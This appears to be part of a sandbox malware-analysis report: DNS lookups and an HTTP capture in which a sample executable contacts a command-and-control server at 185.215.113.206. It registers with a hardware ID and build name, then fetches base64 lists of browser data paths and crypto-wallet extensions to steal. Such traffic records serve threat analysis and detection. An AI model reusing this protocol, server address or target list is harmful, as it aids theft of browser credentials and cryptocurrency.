Nov 20, 2024 08:10:39.969690084 CET	1.1.1.1	192.168.2.5	0x841e	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 08:10:39.969690084 CET	1.1.1.1	192.168.2.5	0x841e	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:10:39.975061893 CET	1.1.1.1	192.168.2.5	0xd03e	No error (0)	spocs.getpocket.com	prod.ads.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 08:10:39.975061893 CET	1.1.1.1	192.168.2.5	0xd03e	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:10:39.981182098 CET	1.1.1.1	192.168.2.5	0x7620	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:10:40.065670013 CET	1.1.1.1	192.168.2.5	0xfb03	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:10:41.283926964 CET	1.1.1.1	192.168.2.5	0xa3eb	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 20, 2024 08:10:41.284317017 CET	1.1.1.1	192.168.2.5	0x88f3	No error (0)	www.google.com		142.250.184.228	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:10:44.180227995 CET	1.1.1.1	192.168.2.5	0xdd18	No error (0)	fvtekk5pn.top		34.116.198.130	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:10:45.708645105 CET	1.1.1.1	192.168.2.5	0xc8d4	No error (0)	shavar.services.mozilla.com	shavar.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 08:10:45.708861113 CET	1.1.1.1	192.168.2.5	0xfd85	No error (0)	content-signature-2.cdn.mozilla.net	content-signature-chains.prod.autograph.services.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 08:10:45.708861113 CET	1.1.1.1	192.168.2.5	0xfd85	No error (0)	content-signature-chains.prod.autograph.services.mozaws.net	prod.content-signature-chains.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 08:10:45.708861113 CET	1.1.1.1	192.168.2.5	0xfd85	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:10:45.719963074 CET	1.1.1.1	192.168.2.5	0x9157	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:10:45.727422953 CET	1.1.1.1	192.168.2.5	0x1970	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net			28	IN (0x0001)	false
Nov 20, 2024 08:11:13.669457912 CET	1.1.1.1	192.168.2.5	0xba96	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 08:11:13.669457912 CET	1.1.1.1	192.168.2.5	0xba96	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:11:13.692126989 CET	1.1.1.1	192.168.2.5	0xb91a	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:11:13.705434084 CET	1.1.1.1	192.168.2.5	0x4430	No error (0)	shavar.services.mozilla.com	shavar.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 08:11:14.218130112 CET	1.1.1.1	192.168.2.5	0x7fc9	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 08:11:14.218130112 CET	1.1.1.1	192.168.2.5	0x7fc9	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:11:19.736687899 CET	1.1.1.1	192.168.2.5	0x475	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 08:11:19.737010956 CET	1.1.1.1	192.168.2.5	0x3ec1	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 08:11:19.737010956 CET	1.1.1.1	192.168.2.5	0x3ec1	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 08:11:19.737010956 CET	1.1.1.1	192.168.2.5	0x3ec1	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 08:11:19.737010956 CET	1.1.1.1	192.168.2.5	0x3ec1	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:11:19.737445116 CET	1.1.1.1	192.168.2.5	0x2c5d	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 08:11:19.737445116 CET	1.1.1.1	192.168.2.5	0x2c5d	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 08:11:19.737445116 CET	1.1.1.1	192.168.2.5	0x2c5d	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:11:19.780697107 CET	1.1.1.1	192.168.2.5	0x7866	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 08:11:19.780697107 CET	1.1.1.1	192.168.2.5	0x7866	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 08:11:20.216886997 CET	1.1.1.1	192.168.2.5	0x82d4	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 08:11:20.216886997 CET	1.1.1.1	192.168.2.5	0x82d4	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:11:20.527112961 CET	1.1.1.1	192.168.2.5	0x968	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 20, 2024 08:11:20.527410030 CET	1.1.1.1	192.168.2.5	0xb847	No error (0)	www.google.com		142.250.184.196	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:11:26.647922993 CET	1.1.1.1	192.168.2.5	0xe268	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 08:11:26.664968014 CET	1.1.1.1	192.168.2.5	0xca5e	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 08:11:31.557173014 CET	1.1.1.1	192.168.2.5	0x4c2c	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 08:11:31.557173014 CET	1.1.1.1	192.168.2.5	0x4c2c	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:11:38.201986074 CET	1.1.1.1	192.168.2.5	0xf5ad	No error (0)	youtube.com		142.250.186.46	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:11:38.850625992 CET	1.1.1.1	192.168.2.5	0x86f5	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:11:38.922945023 CET	1.1.1.1	192.168.2.5	0x87d1	No error (0)	spocs.getpocket.com	prod.ads.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 08:11:38.922945023 CET	1.1.1.1	192.168.2.5	0x87d1	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:11:39.305735111 CET	1.1.1.1	192.168.2.5	0x50d3	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 08:11:39.305735111 CET	1.1.1.1	192.168.2.5	0x50d3	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:11:57.433374882 CET	1.1.1.1	192.168.2.5	0x7f33	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 08:11:57.433374882 CET	1.1.1.1	192.168.2.5	0x7f33	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:12:08.499389887 CET	1.1.1.1	192.168.2.5	0xd45d	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 08:12:08.499389887 CET	1.1.1.1	192.168.2.5	0xd45d	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:12:08.511524916 CET	1.1.1.1	192.168.2.5	0xcfce	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:12:37.701869965 CET	1.1.1.1	192.168.2.5	0xc1f3	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 08:12:37.701869965 CET	1.1.1.1	192.168.2.5	0xc1f3	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:12:58.809387922 CET	1.1.1.1	192.168.2.5	0xed4f	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 08:12:58.809387922 CET	1.1.1.1	192.168.2.5	0xed4f	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:12:58.817528963 CET	1.1.1.1	192.168.2.5	0x2856	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:14:19.329905987 CET	1.1.1.1	192.168.2.5	0x366e	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 08:14:19.329905987 CET	1.1.1.1	192.168.2.5	0x366e	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:14:38.425290108 CET	1.1.1.1	192.168.2.5	0x710d	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 08:14:38.425290108 CET	1.1.1.1	192.168.2.5	0x710d	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:16:21.939809084 CET	1.1.1.1	192.168.2.5	0x4672	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 08:16:21.939809084 CET	1.1.1.1	192.168.2.5	0x4672	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:16:38.760744095 CET	1.1.1.1	192.168.2.5	0x6dca	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:16:38.760813951 CET	1.1.1.1	192.168.2.5	0x9bca	No error (0)	spocs.getpocket.com	prod.ads.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 08:16:38.760813951 CET	1.1.1.1	192.168.2.5	0x9bca	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:16:39.254470110 CET	1.1.1.1	192.168.2.5	0x5a29	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 08:16:39.254470110 CET	1.1.1.1	192.168.2.5	0x5a29	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	185.215.113.206	80	1656	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:08:59.778598070 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 20, 2024 08:09:00.492508888 CET	203	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:09:00 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 20, 2024 08:09:00.517997026 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIJEGIIJDGHDGCBGHCAA Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 49 4a 45 47 49 49 4a 44 47 48 44 47 43 42 47 48 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 41 45 33 30 37 36 31 39 45 44 41 33 35 31 37 33 33 34 39 31 34 0d 0a 2d 2d 2d 2d 2d 2d 48 49 4a 45 47 49 49 4a 44 47 48 44 47 43 42 47 48 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 48 49 4a 45 47 49 49 4a 44 47 48 44 47 43 42 47 48 43 41 41 2d 2d 0d 0a Data Ascii: ------HIJEGIIJDGHDGCBGHCAAContent-Disposition: form-data; name="hwid"DAE307619EDA3517334914------HIJEGIIJDGHDGCBGHCAAContent-Disposition: form-data; name="build"mars------HIJEGIIJDGHDGCBGHCAA--
Nov 20, 2024 08:09:00.751589060 CET	407	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:09:00 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4d 6a 67 7a 4f 54 55 7a 59 6a 4e 6d 4f 57 49 7a 4d 54 49 78 5a 6a 41 34 4e 6a 41 31 5a 6d 59 35 5a 54 67 35 59 54 68 69 4d 6d 56 69 4e 57 5a 6d 4d 6d 4e 6d 5a 44 59 77 5a 47 4d 30 5a 47 45 34 4d 44 4e 6c 4d 32 56 69 4d 6d 46 6d 4e 54 41 30 4e 6a 4e 6c 5a 6d 56 6b 4e 44 41 33 4f 47 51 30 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: MjgzOTUzYjNmOWIzMTIxZjA4NjA1ZmY5ZTg5YThiMmViNWZmMmNmZDYwZGM0ZGE4MDNlM2ViMmFmNTA0NjNlZmVkNDA3OGQ0fHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Nov 20, 2024 08:09:00.753123045 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIIJEBAECGCBKECAAAEB Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 49 49 4a 45 42 41 45 43 47 43 42 4b 45 43 41 41 41 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 38 33 39 35 33 62 33 66 39 62 33 31 32 31 66 30 38 36 30 35 66 66 39 65 38 39 61 38 62 32 65 62 35 66 66 32 63 66 64 36 30 64 63 34 64 61 38 30 33 65 33 65 62 32 61 66 35 30 34 36 33 65 66 65 64 34 30 37 38 64 34 0d 0a 2d 2d 2d 2d 2d 2d 47 49 49 4a 45 42 41 45 43 47 43 42 4b 45 43 41 41 41 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 47 49 49 4a 45 42 41 45 43 47 43 42 4b 45 43 41 41 41 45 42 2d 2d 0d 0a Data Ascii: ------GIIJEBAECGCBKECAAAEBContent-Disposition: form-data; name="token"283953b3f9b3121f08605ff9e89a8b2eb5ff2cfd60dc4da803e3eb2af50463efed4078d4------GIIJEBAECGCBKECAAAEBContent-Disposition: form-data; name="message"browsers------GIIJEBAECGCBKECAAAEB--
Nov 20, 2024 08:09:00.982986927 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:09:00 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
Nov 20, 2024 08:09:00.986582994 CET	124	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGljYXRpb25cfDdT
Nov 20, 2024 08:09:01.116065025 CET	896	IN	Data Raw: 64 47 46 79 66 46 77 33 55 33 52 68 63 6c 77 33 55 33 52 68 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 78 44 61 47 56 6b 62 33 51 67 51 6e 4a 76 64 33 4e 6c 63 6e 78 63 51 32 68 6c 5a 47 39 30 58 46 Data Ascii: dGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8QzpcUHJvZ3JhbSBGaWxlcyAoeDg2KVxNaWNyb3NvZnRcRWRnZVxBcHB
Nov 20, 2024 08:09:01.117531061 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BAFCFHDHIIIECBGCAKFI Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 41 46 43 46 48 44 48 49 49 49 45 43 42 47 43 41 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 38 33 39 35 33 62 33 66 39 62 33 31 32 31 66 30 38 36 30 35 66 66 39 65 38 39 61 38 62 32 65 62 35 66 66 32 63 66 64 36 30 64 63 34 64 61 38 30 33 65 33 65 62 32 61 66 35 30 34 36 33 65 66 65 64 34 30 37 38 64 34 0d 0a 2d 2d 2d 2d 2d 2d 42 41 46 43 46 48 44 48 49 49 49 45 43 42 47 43 41 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 42 41 46 43 46 48 44 48 49 49 49 45 43 42 47 43 41 4b 46 49 2d 2d 0d 0a Data Ascii: ------BAFCFHDHIIIECBGCAKFIContent-Disposition: form-data; name="token"283953b3f9b3121f08605ff9e89a8b2eb5ff2cfd60dc4da803e3eb2af50463efed4078d4------BAFCFHDHIIIECBGCAKFIContent-Disposition: form-data; name="message"plugins------BAFCFHDHIIIECBGCAKFI--
Nov 20, 2024 08:09:01.344423056 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:09:01 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
